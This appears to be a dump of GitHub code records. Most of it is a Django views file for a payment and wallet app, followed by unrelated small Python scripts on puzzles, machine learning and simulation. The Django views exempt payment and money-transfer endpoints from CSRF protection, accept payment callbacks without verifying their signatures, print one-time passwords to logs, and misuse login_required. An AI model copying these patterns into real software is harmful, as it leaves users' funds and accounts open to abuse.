')\n\n\n@csrf_exempt\ndef user_generate_invoice(request):\n\tif check_user_authentication(request, 'User'):\n\t\torder = OrderItems.objects.get(id=request.GET.get('i'))\n\t\tdic = {\n\t\t\t'order':order\n\t\t}\n\t\treturn render_to_pdf('main_app/invoice.html', dic)\n\telse:\n\t\treturn render(request, '403.html')\n\t\t# return HttpResponse('

Error 403 : Unauthorized User

')\n@csrf_exempt\ndef create_vendor_link(request):\n\tif check_user_authentication(request, 'User'):\n\t\tif UserVendorRelation.objects.filter(user=request.user).exists():\n\t\t\tdic = {\n\t\t\t'user':UserData.objects.get(user=request.user),\n\t\t\t'vendor_user':UserVendorRelation.objects.filter(user=request.user),\n\t\t\t'notification':get_notifications(request.user),\n\t\t\t'notification_len':len(Notification.objects.filter(user=request.user, read=True))\n\t\t}\n\t\telse:\n\t\t\tdic = {\n\t\t\t'user':UserData.objects.get(user=request.user),\n\t\t\t'notification':get_notifications(request.user),\n\t\t\t'notification_len':len(Notification.objects.filter(user=request.user, read=True))\n\t\t}\n\t\tprint(\"printing user\")\n\t\tprint(UserData.objects.get(user=request.user).user.usr.first_name)\n\t\treturn render(request, 'user_app/create-vendor-link.html',dic)\n\telse:\n\t\treturn HttpResponse('404 Not Found')\n@csrf_exempt\ndef user_vendor_generate_link(request):\n\tif check_user_authentication(request, 'User'):\n\t\tdata = {'link':generate_link(request.user, 'Vendor','left')}\n\t\treturn JsonResponse(data)\n\telse:\n\t\treturn JsonResponse({'response':'Error'})\n\n@csrf_exempt\ndef subscription_amount(request):\n\tif check_user_authentication(request, 'User'):\n\t\tif request.method == 'POST':\n\t\t\tamount = request.POST.get('amount')\n\t\t\tamt = float(amount) / 100\n\t\t\treceipt = Memberip_Receipt.objects.create(user=request.user, amount=amt)\n\t\t\tdata = create_razorpay_order2(str(receipt.id), request.user, amount)\n\t\t\treturn JsonResponse({'data':data})\n\t\telse:\n\t\t\tmonth = request.GET.get('month')\n\t\t\tsub = SubscriptionCharge.objects.all()\n\t\t\tif len(sub) > 0:\n\t\t\t\tsub = sub[0]\n\t\t\t\tif month == '1':\n\t\t\t\t\tdic = {'amount':sub.one_month_subscription_charge}\n\t\t\t\t\treturn JsonResponse(dic)\n\t\t\t\telif month == '3':\n\t\t\t\t\tdic = {'amount':sub.three_month_subscription_charge}\n\t\t\t\t\treturn JsonResponse(dic)\n\t\t\t\telif month == '6':\n\t\t\t\t\tdic = {'amount':sub.six_month_subscription_charge}\n\t\t\t\t\treturn JsonResponse(dic)\n\t\t\t\telif month == '12':\n\t\t\t\t\tdic = {'amount':sub.twelve_month_subscription_charge}\n\t\t\t\t\treturn JsonResponse(dic)\n\t\t\t\telse:\n\t\t\t\t\treturn JsonResponse({'amount':'0.0'})\n\t\t\telse:\n\t\t\t\treturn JsonResponse({'amount':'Error'})\n\telse:\n\t\treturn render(request, '403.html')\n\t\t# return HttpResponse('

Error 403 : Unauthorized User

')\n\n\n@csrf_exempt\ndef capture_recharge_payment(request):\n\tif request.method == 'POST':\n\t\tpayment_id = request.POST.get('razorpay_payment_id')\n\t\torder_id = request.POST.get('razorpay_order_id')\n\t\tsignature = request.POST.get('razorpay_signature')\n\t\treceipt = Memberip_Receipt.objects.get(razorpay_order_id=order_id)\n\t\trazorpaytransaction = RazorpayTransaction.objects.create(payment_id=payment_id, order_id=order_id, signature=signature)\n\t\treceipt.payment_id = payment_id\n\t\treceipt.is_active = True\n\t\treceipt.save()\n\t\t#make_business_limit_transaction(request.user.vendor, receipt.amount, 'CREDIT', 'Recharge Receipt ID '+str(receipt.id))\n\t\t#below vendor recharge amount credit in admin wallet\n\t\t#Transaction goes to Admin wallet\n\t\tmake_commission_transaction(request.user, receipt.amount, 'CREDIT')\n\t\tif Membership.objects.filter(user = request.user).exists():\n\t\t\tMembership.objects.filter(user = request.user).delete()\n\t\tMembership.objects.create(user = request.user)\n\t\tUserData.objects.filter(user = request.user).update(subscribed = True)\n\t\tsub = 'AVPL - Subscription '\n\t\tmsg = '''Hi there!\nYour Subscription has been successfully completed with amount Rs '''+str(receipt.amount)+'''.\n\nThanks!'''\n\t\tEmailMessage(sub, msg, to=[request.user.email]).send()\n\t\tnotification(request.user, 'Subscription Successfully.')\n\t\treturn render(request, 'user_app/subscription-success.html')\n\telse:\n\t\treturn HttpResponse('Failed')\n\n@csrf_exempt\ndef vendor_list(request):\n\tif check_user_authentication(request, 'User'):\n\t\tif request.method == 'GET':\n\t\t\tvendors = User.objects.all()\n\t\t\treturn render(request, 'user_app/vendor-list.html', {'vendors':vendors})\n\telse:\n\t\treturn render(request, '403.html')\n\t\t# return HttpResponse('

Error 403 : Unauthorized User

')\n@csrf_exempt\ndef subscriptionRequest(request):\n\tif check_user_authentication(request, 'User'):\n\t\tif request.method == \"POST\":\n\t\t\tif not UserSubscriptionRequest.objects.filter(user=request.user, is_active=False).exists():\n\t\t\t\tvendor_id = request.POST.get('key')\n\t\t\t\tamount = request.POST.get('amount')\n\t\t\t\tmonth = request.POST.get('month')\n\t\t\t\tvendor = Vendor.objects.get(id = vendor_id)\n\t\t\t\tUserSubscriptionRequest.objects.create(\n\t\t\t\t\tuser = request.user,\n\t\t\t\t\tvendor = vendor,\n\t\t\t\t\tamount = amount,\n\t\t\t\t\tmonth = month\n\t\t\t\t)\n\t\t\t\treturn JsonResponse({'success':\"success\"})\n\t\t\telse:\n\t\t\t\tmsg =\"You have already requested for plus membership\"\n\t\t\t\treturn HttpResponse(msg)\n\telse:\n\t\treturn render(request, '403.html')\n\t\t# return HttpResponse('

Error 403 : Unauthorized User

')\n\n@csrf_exempt\ndef user_billing_request(request):\n\tif check_user_authentication(request, 'User'):\n\t\tif request.method == 'POST':\n\t\t\tstore = Store.objects.get(id=request.POST.get('store_id'))\n\t\t\tamount = request.POST.get('amount')\n\t\t\tplan = request.POST.get('plan')\n\t\t\tBilling_Request.objects.create(\n\t\t\t\tuser = request.user,\n\t\t\t\tstore = store,\n\t\t\t\tamount = amount,\n\t\t\t\tplan = plan\n\t\t\t)\n\t\t\tmessages.success(request, 'Billing Request Created Successfully')\n\t\t\treturn redirect('/user/billing/request/')\n\t\tdic = {'stores':fetch_vendors(request.session.get('lat'), request.session.get('lng')), 'requests':Billing_Request.objects.filter(user=request.user, is_active=False)}\n\t\treturn render(request, 'user_app/billing-request.html', dic)\n\treturn render(request, '403.html')\n\t# return HttpResponse('

Error 403 : Unauthorized User

')\n@csrf_exempt\ndef user_tds_withdraw(request):\n\tif check_user_authentication(request, 'User'):\n\t\tif not TDS_Log_Wallet.objects.filter(user=request.user).exists():\n\t\t\tTDS_Log_Wallet.objects.create(user=request.user)\n\n\t\tdic = {\n\t\t\t'tds_log':TDS_Log.objects.filter(user=request.user),\n\t\t\t'users':UserWithdrawRequest.objects.all(), 'vendors':VendorWithdrawRequest.objects.all(), 'categories':ProductCategory.objects.all(),\n\t\t\t'notification':get_notifications(request.user),'tds_wallet':TDS_Log_Wallet.objects.filter(user=request.user).first(),\n\t\t\t'notification_len':len(Notification.objects.filter(user=request.user, read=False)),\n\t\t}\n\t\treturn render(request, 'user_app/tdslog.html', dic)\n\telse:\n\t\treturn render(request, '403.html')\n\t\t# return HttpResponse('

Error 403 : Unauthorized User

')\n\n\n##########################################################################################################################\n\nfrom django.contrib.auth.decorators import login_required\nfrom main_app.models import Wallet,WalletTransfer\nimport random\n\nfrom django.db import transaction\n\n\nlogin_required('/')\n@csrf_exempt\ndef wallet_transfer_vendor(request):\n\n\tif not Wallet.objects.filter(user=request.user).exists():\n\t\tWallet.objects.create(user=request.user,current_balance=0)\t\n\t\t\n\ttry:\n\t\tbal = Wallet.objects.filter(user=request.user).first().current_balance\n\texcept Wallet.DoesNotExist:\n\t\tuser = None\t\n\t\n\t\t\n\n\tvandordata = Vendor.objects.filter(is_active = True)\n\ttransectiondata = WalletTransfer.objects.filter(user=request.user).order_by('-transection_time')\n \n\tcontext = {\n\t\t\t'vendordata': vandordata,\n\t\t\t'transectiodetails':transectiondata,\n\t\t\t'bal':bal,'notification':get_notifications(request.user),\n\t\t\t'notification_len':len(Notification.objects.filter(user=request.user, read=False)),\n\t\t}\n\n\tuser=WalletTransferApproval.objects.all()[0:1]\n\tprint(user)\n\n\tif WalletTransferApproval.objects.get(id =user).customer == 1:\n\t\tif request.method == 'POST':\n\t\t\trequest.session['recivername'] = request.POST.get('rvname') \n\t\t\trequest.session['amount'] = int(request.POST.get('amt'))\n\t\t\trequest.session['senderotp'] = random.randint(100000,999999)\n\t\t\t# request.session['reciverotp'] = random.randint(100000,999999)\n\t\t\trequest.session['type012'] = 1\n\t\t\t# request.session['timer'] = str(datetime.datetime.now() + datetime.timedelta(minutes=2))\n\t\t\t# print('-------------------------->',request.session['timer'],type(request.session['timer']),request.session['type012'])\n\t\t\tprint(request.session['senderotp'],'\\n---------->',request.session['recivername'])\n\t\t\tmsg = ''' Hi there!\nYour OTP for wallet transfer for sending ₹''' + str(request.session['amount']) +''' to ''' + request.session['recivername']+ '''is ''' + str(request.session['senderotp'])+'''.\n\nThanks!'''\n\t\t\tEmailMessage('AVPL - OTP for Wallet transfer', msg, to=[request.user.email]).send()\n\t\t\tprint(request.user.email)\n\t\t\tnotification(request.user, 'OTP sent successfully.')\n\t\t\tmessages.success(request, 'OTP sent successfully.')\n\t\t\treturn render(request,'user_app/otpverify.html')\n\t\t\n\n\t\treturn render(request,'user_app/vendorwallettransfer.html',context=context)\n\n\telse:\n\t\tmessages.error(request,'Payments Mode off')\n\t\treturn render(request,'user_app/vendorwallettransfer.html',context=context)\n\n\nlogin_required('/')\n@transaction.atomic\n@csrf_exempt\ndef transfer_amount(request):\n\t\n\tif request.method == 'POST':\n\t\tsenderotp = int(request.POST.get('otp1') )\n\t\n\t\t# if datetime.datetime.now() < datetime.datetime.strptime(request.session['timer'], '%Y-%m-%d %H:%M:%S.%f') :\n\t\t\n\t\tif senderotp == request.session['senderotp']:\n\t\t\t\n\t\t\tif Wallet.objects.get(user=request.user).current_balance >= request.session['amount']:\n\n\t\t\t\tmake_wallet_transaction(user = request.user, amount = request.session['amount'], trans_type = 'DEBIT')\n\t\t\t\tmake_wallet_transaction(user = User.objects.get(username = request.session['recivername']), \n\t\t\t\t\tamount = request.session['amount'], trans_type = 'CREDIT')\n\t\t\t\tprint(request.session['recivername'])\n\t\t\t\ttransfer_into_another_account(usr = request.user, sender = request.user.username,\n\t\t\t\t\treciver = request.session['recivername'],amount = request.session['amount'])\n\t\t\t\tprint('done!')\n\t\t\t\tuser = User.objects.get(username = request.session['recivername'])\n\t\t\t\tnotification(user, 'Money Successfully Recived.')\n\t\t\t\tnotification(request.user, 'Money Successfully Transfered')\n\t\t\t\n\t\t\t\tmessages.success(request,'Successfully Transfered')\n\t\t\t\t# if int(request.session['type012']) == 0:\n\t\t\t\t# \treturn redirect('transfer_money')\n\t\t\t\t# else:\n\t\t\t\treturn redirect('vendor-wallet-transfer')\n\n\n\t\t\telse :\n\t\t\t\tmessages.error(request,'Not having sufficient balance')\n\t\t\t\tif int(request.session['type012']) == 0:\n\t\t\t\t\treturn redirect('transfer_money')\n\t\t\t\telse:\n\t\t\t\t\treturn redirect('vendor-wallet-transfer')\n\n\t\telse :\n\t\t\tmessages.error(request,'OTP is not Correct ,Please enter correct OTP !')\n\t\t\tif int(request.session['type012']) == 0:\n\t\t\t\treturn redirect('transfer_money')\n\t\t\telse:\n\t\t\t\treturn redirect('otp-verification')\n\t\t# else:\n\t\t# \tmessages.error(request,'Timeout')\n\t\t# \tif int(request.session['type012']) == 0:\n\t\t# \t\treturn redirect('transfer_money')\n\t\t# \telse:\n\t\t# \t\treturn redirect('transfer_money_vander')\n\tif int(request.session['type012']) == 0:\n\t\treturn redirect('transfer_money')\n\telse:\n\t\t# return redirect('otp-verification')\n\t\treturn render(request,'user_app/otpverify.html')\n\n\n\n@csrf_exempt\ndef user_profile(request):\n\tif check_user_authentication(request, 'User'):\n\t\tuser = UserData.objects.get(id=request.user.usr.id)\n\t\tpayment=PaymentInfo.objects.get(user=request.user)\n\t\tprint(user.profile_pic,'UUUUUUUUUUUUUUUUU')\n\t\tupdateform = UserData_Form( instance=user)\n\t\tupdateform2 = PaymentInfo_Form(instance=payment)\n\t\tif request.method == 'POST':\n\n\t\t\tupdateform = UserData_Form(request.POST,request.FILES, instance=user)\n\t\t\n\t\t\tif updateform.is_valid():\n\t\t\t\tupdateform.save()\n\n\t\t\tupdateform2 = PaymentInfo_Form(request.POST,request.FILES, instance=payment)\n\t\t\n\t\t\tif updateform2.is_valid():\n\t\t\t\tupdateform2.save()\n\n\t\tdic = {\n\t\t\t'user':user,'payment':payment,'updateform':updateform,'updateform2':updateform2,\n\t\t\t'notification':get_notifications(request.user),\n\t\t\t'notification_len':len(Notification.objects.filter(user=request.user, read=False)),\n\t\t}\t\t\t\n\t\treturn render(request,'user_app/user-profile.html', dic)\n\telse:\n\t\treturn render(request, '403.html')\n\n@csrf_exempt\ndef creditedmoney_user_wallet(request):\n\tif check_user_authentication(request, 'User'):\n\t\tif not CreditedMoney.objects.filter(user=request.user).exists():\n\t\t\tCreditedMoney.objects.create(user=request.user)\n\t\tdic = {'user':UserData.objects.get(user=request.user),\n\t\t\t'creditedmoney':CreditedMoney.objects.get(user=request.user),\n\t\t\t'creditedmoney_transactions':CreditedMoneyTransaction.objects.filter(creditedmoney=CreditedMoney.objects.get(user=request.user)).order_by('-transaction_date'),\n\t\t\t'notification':get_notifications(request.user),\n\t\t\t'notification_len':len(Notification.objects.filter(user=request.user, read=False)),\n\t\t}\n\t\treturn render(request, 'user_app/creditedmoney_wallet-dash.html', dic)\n\telse:\n\t\treturn render(request, '403.html')\n\n","repo_name":"chvijaypatel/new_project","sub_path":"user_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":58253,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"31266974664","text":"#! /usr/bin/env python3\n\n'''\nAn image is represented by an m x n integer grid image where image[i][j] \nrepresents the pixel value of the image.\n\nYou are also given three integers sr, sc, and color. You should perform a \nflood fill on the image starting from the pixel image[sr][sc].\n\nTo perform a flood fill, consider the starting pixel, plus any pixels connected \n4-directionally to the starting pixel of the same color as the starting pixel, \nplus any pixels connected 4-directionally to those pixels (also with the same color), \nand so on. Replace the color of all of the aforementioned pixels with color.\n\nReturn the modified image after performing the flood fill.\n'''\n\n\ndef floodFill(image, sr: int, sc: int, color: int):\n\n row = len(image)\n col = len(image[0])\n initial_color = image[sr][sc]\n\n if initial_color == color:\n return image\n\n def df_search(r,c):\n if image[r][c] == initial_color:\n image[r][c] = color\n if r >= 1:\n df_search(r - 1, c)\n if r + 1 < row:\n df_search(r + 1, c)\n if c >= 1:\n df_search(r, c - 1)\n if c + 1 < col:\n df_search(r, c + 1)\n \n df_search(sr, sc)\n\n return image\n\n\nif __name__ == '__main__':\n print(floodFill([[1,1,1],[1,1,0],[1,0,1]], 1, 1, 2))\n # [[2, 2, 2], [2, 2, 0], [2, 0, 1]]\n print(floodFill([[0,0,0],[0,0,0]], 0, 0, 0))\n # [[0, 0, 0], [0, 0, 0]]\n print(floodFill([[0,0,0],[0,0,0]], 1, 0, 2))\n # [[2, 2, 2], [2, 2, 2]]\n ","repo_name":"sschanzer/Problems","sub_path":"floodFill.py","file_name":"floodFill.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"37756446260","text":"#Crie uma lista com 5 elementos de forma dinâmica;\r\n#Ou seja, cada elemento deve ser inserido pelo usuário;\r\n\r\nlista = []\r\n\r\ni = 0\r\n\r\nn = 1\r\n\r\nwhile i < 5:\r\n numero = int(input(\"Digite o %d° número: \" % n))\r\n lista.append(numero)\r\n n = n + 1\r\n i = i + 1\r\n\r\nprint(\"Os números foram adicionados a lista: %s.\" % lista)\r\n\r\n#####################################################################\r\n\r\nlista2 = []\r\n\r\ni = 0\r\n\r\nwhile i < 5:\r\n elemento = input(\"Digite um elemento: \")\r\n lista2.append(elemento)\r\n i = i + 1\r\n\r\nprint(\"Os elementos adicionados a lista foram: %s.\" % lista2)\r\n\r\n","repo_name":"Diusval/Studying-Algorithms-and-programming-logic-with-Python-3","sub_path":"PORTUGUESE/Seção05-Lista/14_exercicio_40/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"32170502618","text":"import tensorflow as tf\nfrom tensorflow.keras import datasets, layers, models\nfrom sklearn.metrics import confusion_matrix\nimport numpy as np\n\ndef __main__():\n fashion_mnist = datasets.fashion_mnist\n (train_images, train_labels), (test_images, test_labels) = fashion_mnist.load_data()\n\n train_images = train_images.reshape((60000, 28, 28, 1))\n test_images = test_images.reshape((10000, 28, 28, 1))\n\n # Normalize pixel values to be between 0 and 1\n train_images, test_images = train_images / 255.0, test_images / 255.0\n\n # Create the model and add all layers to it\n model = models.Sequential()\n model.add(layers.Conv2D(32, (3, 3), activation='relu', input_shape=(28, 28, 1))) \n model.add(layers.MaxPool2D())\n model.add(layers.Conv2D(64, (3, 3), activation='relu', input_shape=(28, 28, 1)))\n model.add(layers.MaxPool2D())\n model.add(layers.Conv2D(32, (3, 3), activation='relu', input_shape=(28, 28, 1)))\n model.add(layers.Flatten())\n model.add(layers.Dense(64, activation='relu'))\n model.add(layers.Dense(10, activation='softmax'))\n # Compile the model\n model.compile(loss='sparse_categorical_crossentropy', optimizer='sgd', metrics=['accuracy'])\n model.fit(x=train_images, y=train_labels, epochs=5) #5 epochs\n print('Problem 1:')\n\n # Accuracy rate\n # For some reason, calling model.evaluate causes the terminal to print out a huge progress bar, which causes performance issues on my computer. verbose=0 fixes it.\n _test_loss, test_accuracy = model.evaluate(x=test_images, y=test_labels, verbose=0)\n print('Test accuracy:', test_accuracy)\n\n # Confusion matrix\n y_true = test_labels\n model_predict = model.predict(x=test_images)\n y_pred = []\n for pred in model_predict:\n y_pred.append(np.argmax(pred))\n print('Confusion matrix:')\n print(confusion_matrix(y_true, y_pred))\n\n\nif __name__ == \"__main__\":\n __main__()","repo_name":"kpapakipos/school-work","sub_path":"fall_2019/coen-166L/lab6/prob1.py","file_name":"prob1.py","file_ext":"py","file_size_in_byte":1912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"27485563581","text":"import glob\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom functools import partial\r\nfrom operator import ne\r\nfrom collections import defaultdict\r\nimport time\r\nimport matplotlib.pyplot as plt\r\nimport stock as stk\r\nimport agent\r\n#import yahoo-market_data as ymd\r\n#aapl = Share('MLNX')\r\n#print(aapl)\r\n\r\n\r\n#aapl.get_historical()\r\nDatabase = defaultdict(list)\r\ncsv_path_debug = './csv_files'\r\ncsv_sp500_path = './csv_files_sp500'\r\ncsv_path = csv_sp500_path\r\nlist_of_files = glob.glob(csv_path+'/*.csv')\r\n\r\ndef get_tags_vector(samples, base, length):\r\n \"\"\"\r\n This function gets a vector of samples and returns\r\n binary vector indicates the directinal movment 1-up,0-down\r\n output[i] = smaples[i]-samples[i-1]\r\n \"\"\"\r\n ret_list= []\r\n for i in range(base, base+length):\r\n if samples[i-1] > samples[i]:\r\n ret_list.append(1) # current sample is higher from previous\r\n else:\r\n ret_list.append(0)\r\n return ret_list\r\n\r\ndef cross_corellation_window(a,v,base_window,window_size):\r\n retvec = []\r\n for k in range(0,window_size):\r\n tmp_a = a[base_window+k:base_window+k+window_size]\r\n tmp_v = v[base_window:base_window+window_size]\r\n retvec.append(np.dot(tmp_a,tmp_v))\r\n return retvec\r\n\r\ndef parse_signal_from_csv_to_list(signal):\r\n signal = list(signal)[1:]\r\n signal = list(filter(partial(ne, 'null'), signal))\r\n signal = [float(cur) for cur in signal]\r\n signal.reverse()\r\n return signal\r\n\r\ndef parse_dates_from_csv_to_list(Dates_list):\r\n Dates_list = list(Dates_list)[1:]\r\n Dates_list = list(filter(partial(ne, 'null'), Dates_list))\r\n Dates_list.reverse()\r\n return Dates_list\r\n\r\ndef get_index_from_date(stock_symbol,date):\r\n import datetime\r\n while(not Database[stock_symbol]['Date'].__contains__(date)):\r\n date_obj = datetime.strptime(date,'%YYYY-%mm-%dd')\r\n date_obj=date_obj.replace(day=date_obj.day-1)\r\n date = date_obj.strftime('%YYYY-%mm-%dd')\r\n\r\n index_of_date = Database[stock_symbol]['Date'].index(date)\r\n print(\"index_of_date=\",index_of_date,\"db.Database[stock_symbol]['Close']=\",Database[stock_symbol]['Close'][index_of_date])\r\n return index_of_date\r\n\r\n\r\n\r\ncorrelated_symbols = []\r\nfor file_name in list_of_files:\r\n with open(file_name, newline='') as csvfile:\r\n df = pd.read_csv(csvfile, sep=',', header=None,encoding=\"utf-8-sig\")\r\n if csv_path == csv_sp500_path:\r\n Date = parse_dates_from_csv_to_list(df[1].values)\r\n Open = parse_signal_from_csv_to_list(df[2].values)\r\n High = parse_signal_from_csv_to_list(df[3].values)\r\n Low = parse_signal_from_csv_to_list(df[4].values)\r\n Close = parse_signal_from_csv_to_list(df[5].values)\r\n Vol = parse_signal_from_csv_to_list(df[7].values)\r\n else:\r\n Date = parse_dates_from_csv_to_list(df[0].values)\r\n Open = parse_signal_from_csv_to_list(df[1].values)\r\n High = parse_signal_from_csv_to_list(df[2].values)\r\n Low = parse_signal_from_csv_to_list(df[3].values)\r\n Close = parse_signal_from_csv_to_list(df[4].values)\r\n Vol = parse_signal_from_csv_to_list(df[6].values)\r\n\r\n Database[file_name] = {'Date': Date,\r\n 'Open': Open,\r\n 'High': High,\r\n 'Low': Low,\r\n 'Close': Close,\r\n 'Volume': Vol\r\n }\r\n\r\n","repo_name":"itayavisar/Project-AI-Stocks-Cross-Correlation","sub_path":"stocksDatabase.py","file_name":"stocksDatabase.py","file_ext":"py","file_size_in_byte":3566,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"27934379320","text":"#! /usr/bin/env python\n\n# Part 1\ninput = 633601\n# input = 9 # 5158916779\n# input = 5 # 0124515891\n# input = 18 # 9251071085\n# input = 2018 # 5941429882\n\nscoreboard = '37'\nelves = [ 0, 1 ]\n\nwhile len(scoreboard)<=input+10:\n val = 0\n new_elves = elves.copy()\n for i in (0, 1):\n val += int(scoreboard[elves[i]])\n new_elves[i] += 1+int(scoreboard[elves[i]])\n scoreboard+=str(val)\n elves = [ i%len(scoreboard) for i in new_elves ]\n\nprint('Part 1:', scoreboard[input:input+10])\n\n# Part 2\n# input = '51589' # 9\n# input = '01245' # 5\n# input = '92510' # 18\n# input = '59414' # 2018\ninput = '633601'\n\nscoreboard = '37'\nelves = [ 0, 1 ]\n\nwhile True:\n val = 0\n new_elves = elves.copy()\n for i in (0, 1):\n val += int(scoreboard[elves[i]])\n new_elves[i] += 1+int(scoreboard[elves[i]])\n scoreboard+=str(val)\n elves = [ i%len(scoreboard) for i in new_elves ]\n\n if scoreboard[-len(input):]==input or scoreboard[-len(input)-1:-1]==input:\n break\n\nprint('Part 2:', scoreboard.find(input))\n","repo_name":"albatros69/aoc-2018","sub_path":"day-14/recipes.py","file_name":"recipes.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"9333828176","text":"'''\nRsS\nStochastic Dynamic Programming solution for the RsS problem\n'''\nfrom util import policy as pol\n\n\nclass RsS_SDP:\n # Common attributes of all the solver\n name = \"RsS_SDP\"\n id = 308\n\n def __init__(self):\n # Text to be printed after the solving\n self.message = \"\"\n\n # Attributes specific to the solver\n self.__opt_cost = []\n self.expected_cost = 0\n\n def solve(self, inst):\n n = inst.n\n ch = inst.ch\n cp = inst.cp\n co = inst.co\n cr = inst.cr\n max_inv_level = inst.max_inv_level\n min_inv_level = inst.min_inv_level\n self.__opt_cost = [[float(\"inf\") for _ in range(min_inv_level, max_inv_level + 1)] for _ in range(n + 1)]\n opt_q = [[max_inv_level for _ in range(min_inv_level, max_inv_level +1)] for _ in range(n+1)]\n opt_r = [[0 for _ in range(min_inv_level, max_inv_level +1)] for _ in range(n+1)]\n\n for i in range(min_inv_level, max_inv_level +1):\n self.__opt_cost[n][i] = 0\n\n def cost(t, i, r):\n temp = 0.0\n for d, p in enumerate(inst.conv_prob[t][t + r - 1]):\n close_inv = i - d\n if close_inv <= min_inv_level:\n temp = temp + p * self.__opt_cost[t + r][min_inv_level]\n else:\n temp = temp + p * self.__opt_cost[t + r][close_inv]\n for j in range(r):\n for d, p in enumerate(inst.conv_prob[t][t + j]):\n close_inv = i - d\n if close_inv >= 0:\n temp = temp + p * ch * close_inv\n if close_inv < 0:\n temp = temp + p * (-cp) * close_inv\n return temp\n\n for t in range(n - 1, -1, -1):\n for i in range(min_inv_level, max_inv_level + 1):\n bsf_cost = float(\"inf\")\n bsf_q = float(\"inf\")\n bsf_r = float(\"inf\")\n\n q_limit = max_inv_level - i\n for r in range(1, n - t+1):\n for q in range(0, q_limit + 1):\n temp = cr if q == 0 else cr+co\n temp += cost(t,i+q,r)\n if temp < bsf_cost:\n bsf_cost = temp\n bsf_q = q\n bsf_r = r\n self.__opt_cost[t][i] = bsf_cost\n opt_q[t][i] = bsf_q\n opt_r[t][i] = bsf_r\n j = 0\n if opt_q[0][inst.init_inv] == 0:\n self.__opt_cost[0][inst.init_inv] -= cr\n j = 1\n\n self.expected_cost = self.__opt_cost[0][0]\n\n ### VISE FIX THE INVENTORY LEVEL OF s and S\n s = [float(\"inf\")] * n\n S = [float(\"inf\")] * n\n R = [0] * n\n for t in range(n):\n for i in range(0, max_inv_level +1):\n if opt_q[t][i] > 0:\n s[t] = i\n S[t] = i + opt_q[t][i]\n while j < n:\n R[j] = 1\n j += opt_r[j][S[j]]\n\n for i in range(n):\n if R[i] == 0:\n s[i] = float(\"inf\")\n S[i] = float(\"inf\")\n\n self.expected_cost = self.__opt_cost[0][0]\n policy = pol.InventoryPolicy()\n policy.name = self.name\n policy.order_quantity_type = \"dynamic\"\n policy.n = n\n policy.s = s\n policy.S = S\n policy.R = R\n policy.expected_cost = self.expected_cost\n\n return policy\n","repo_name":"andvise/inventory-control","sub_path":"solvers/RsS/rss_sdp.py","file_name":"rss_sdp.py","file_ext":"py","file_size_in_byte":3503,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"67"} +{"seq_id":"40349304981","text":"#!/usr/bin/python\nimport xml.etree.ElementTree as ET\n#from lxml import etree as ET\n\nimport os, re, sys, shutil\nfrom copy import deepcopy\nimport random\nif len(sys.argv) > 1:\n result_world=sys.argv[1]\nelse:\n result_world='tmp.world'\n \n# example file that is adapted:\n#template_world='template.world'\ntemplate_world='template_small.world'\nlocation='../worlds/'\n\ntree = ET.parse(location+template_world)\nroot = tree.getroot()\nworld = root.find('world')\n\n# place ligths: between 1:20 lights on random locations [-10:10, -10:10, 0.5:3.9]\nnumber_of_lights=random.choice(range(1,15))\nfor l in range(number_of_lights):\n light=ET.SubElement(world,'light')\n light.set('type','diffuse')\n light.set('name','lightball_'+str(l))\n cast_shadows=ET.SubElement(light,'cast_shadows')\n cast_shadows.text='true'\n diffuse=ET.SubElement(light,'diffuse')\n diffuse.text='0.8 0.8 0.8 1'\n specular=ET.SubElement(light,'specular')\n specular.text='0.2 0.2 0.2 1'\n attenuation=ET.SubElement(light,'attenuation')\n rangel=ET.SubElement(attenuation,'range')\n rangel.text='100'\n constant=ET.SubElement(attenuation,'constant')\n constant.text='0.7'\n linear=ET.SubElement(attenuation,'linear')\n linear.text='0.01'\n quadratic=ET.SubElement(attenuation,'quadratic')\n quadratic.text='0.001'\n direction=ET.SubElement(light,'direction')\n direction.text='-0.5 0.1 -0.9'\n pos=ET.SubElement(light,'pose')\n x=random.uniform(-10,10)\n y=random.uniform(-10,10)\n z=random.uniform(0.5,3.9)\n pos.text=str(x)+' '+str(y)+' '+str(z)+' 0 0 0'\n\n\n# put texture on the walls\ntexture_list=[ t[:-1] for t in open('textures.txt').readlines()]\nsurrounding=[m for m in world.findall('model') if m.get('name')=='Surrounding'][0]\nfor link in surrounding.findall('link'):\n material=link.find('visual').find('material').find('script').find('name')\n material.text=\"Gazebo/\"+random.choice(texture_list)\n\n# place objects from list\n# add models from file to list if the model exists in .gazebo/models\nmodel_list=[ m[:-1] for m in open('models.txt').readlines() if os.path.exists('/home/klaas/.gazebo/models/'+m[:-1])]\n\ndensity=3 #4\nfor x in range(-7,10,density):\n #for x in range(-3,4,3):\n for y in range(-7,10,density):\n #for y in range(-3,4,3):\n if abs(x)<2 and abs(y)<2:\n continue\n model_name = random.choice(model_list)\n #print(model_name, ' on ',x,', ',y)\n incl=ET.SubElement(world, 'include')\n ure=ET.SubElement(incl,'uri')\n ure.text='model://'+model_name\n pos=ET.SubElement(incl,'pose')\n yaw=random.uniform(0,3.14)\n d=0.8\n xd=random.uniform(-d,d)\n yd=random.uniform(-d,d)\n pos.text=str(x-0.5+xd)+' '+str(y-0.5+yd)+' 0 0 0 '+str(yaw)\n\n\nprint('make: ',result_world)\ntree.write(os.path.join(location,result_world), encoding=\"us-ascii\", xml_declaration=True, method=\"xml\")\n","repo_name":"kkelchte/sandbox","sub_path":"scripts/world_generator.py","file_name":"world_generator.py","file_ext":"py","file_size_in_byte":2779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"7039505734","text":"from unittest import mock\n\nimport graphene\nfrom django.contrib.sites.models import Site\n\nfrom ....shop.types import SHOP_ID\nfrom ....tests.utils import get_graphql_content\nfrom . import 